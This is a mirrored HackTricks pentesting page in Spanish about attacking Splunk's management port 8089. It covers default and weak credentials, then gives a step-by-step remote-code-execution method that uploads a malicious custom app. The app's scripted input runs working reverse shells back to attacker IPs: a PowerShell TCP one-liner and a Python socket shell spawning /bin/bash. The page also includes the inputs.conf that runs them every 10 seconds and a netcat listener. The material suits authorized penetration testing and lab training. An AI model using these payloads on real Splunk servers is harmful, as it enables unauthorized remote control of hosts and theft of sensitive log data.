mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
140 lines
8.9 KiB
Markdown
140 lines
8.9 KiB
Markdown
# 8089 - Pentesting Splunkd
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## **Información Básica**
|
|
|
|
Splunk es una **herramienta de análisis de registros** que juega un papel crucial en **la recopilación, análisis y visualización de datos**. Aunque su propósito inicial no era servir como una **herramienta SIEM (Gestión de Información y Eventos de Seguridad)**, ha ganado popularidad en el ámbito de **monitoreo de seguridad** y **análisis de negocios**.
|
|
|
|
Las implementaciones de Splunk se utilizan frecuentemente para almacenar **datos sensibles** y pueden servir como una **fuente valiosa de información** para posibles atacantes si logran comprometer el sistema. **Puerto por defecto:** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
El **servidor web de Splunk se ejecuta por defecto en el puerto 8000**.
|
|
{% endhint %}
|
|
|
|
## Enumeración
|
|
|
|
### Versión Gratuita
|
|
|
|
La prueba de Splunk Enterprise se convierte en una **versión gratuita después de 60 días**, que **no requiere autenticación**. No es raro que los administradores de sistemas instalen una prueba de Splunk para probarlo, que **posteriormente se olvida**. Esto se convertirá automáticamente en la versión gratuita que no tiene ninguna forma de autenticación, introduciendo un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a restricciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.
|
|
|
|
### Credenciales Predeterminadas
|
|
|
|
En versiones más antiguas de Splunk, las credenciales predeterminadas son **`admin:changeme`**, que se muestran convenientemente en la página de inicio de sesión.\
|
|
Sin embargo, **la última versión de Splunk** establece **credenciales** **durante el proceso de instalación**. Si las credenciales predeterminadas no funcionan, vale la pena verificar contraseñas débiles comunes como `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
|
|
|
|
### Obtener Información
|
|
|
|
Una vez que iniciamos sesión en Splunk, podemos **navegar por los datos,** ejecutar **informes**, crear **tableros**, **instalar aplicaciones** de la biblioteca Splunkbase e instalar aplicaciones personalizadas.\
|
|
También puedes ejecutar código: Splunk tiene múltiples formas de **ejecutar código**, como aplicaciones Django del lado del servidor, puntos finales REST, entradas scriptadas y scripts de alerta. Un método común para obtener ejecución remota de código en un servidor Splunk es a través del uso de una entrada scriptada.
|
|
|
|
Además, dado que Splunk se puede instalar en hosts de Windows o Linux, se pueden crear entradas scriptadas para ejecutar scripts de Bash, PowerShell o Batch.
|
|
|
|
### Shodan
|
|
|
|
* `Splunk build`
|
|
|
|
## RCE
|
|
|
|
### Crear Aplicación Personalizada
|
|
|
|
Una aplicación personalizada puede ejecutar **scripts de Python, Batch, Bash o PowerShell**.\
|
|
Ten en cuenta que **Splunk viene con Python instalado**, por lo que incluso en sistemas **Windows** podrás ejecutar código python.
|
|
|
|
Puedes usar [**este**](https://github.com/0xjpuff/reverse\_shell\_splunk) paquete de Splunk para ayudarnos. El directorio **`bin`** en este repositorio tiene ejemplos para [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) y [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Vamos a recorrer esto paso a paso.
|
|
|
|
Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorio:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
El **`bin`** directorio contendrá cualquier **script que pretendamos ejecutar** (en este caso, un **PowerShell** reverse shell), y el directorio predeterminado tendrá nuestro archivo `inputs.conf`. Nuestro reverse shell será un **PowerShell one-liner:**
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
El archivo [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) le dice a Splunk **qué script ejecutar** y cualquier otra condición. Aquí configuramos la aplicación como habilitada y le decimos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre está en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Necesitamos el archivo `.bat`, que se ejecutará cuando la aplicación se despliegue y ejecute la línea de comando de PowerShell.
|
|
|
|
El siguiente paso es elegir `Install app from file` y subir la aplicación.
|
|
|
|
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Antes de subir la aplicación personalizada maliciosa, comencemos un listener usando Netcat o [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
En la página `Upload app`, haz clic en explorar, elige el tarball que creamos anteriormente y haz clic en `Upload`. Tan **pronto como subamos la aplicación**, se **recibirá un reverse shell** ya que el estado de la aplicación se cambiará automáticamente a `Enabled`.
|
|
|
|
#### Linux
|
|
|
|
Si estuviéramos tratando con un **host de Linux**, tendríamos que **editar el script de Python `rev.py`** antes de crear el tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo, y obtendríamos una conexión de reverse shell en nuestro oyente de Netcat y estaríamos listos para comenzar.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Escalación de Privilegios
|
|
|
|
En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Referencias
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|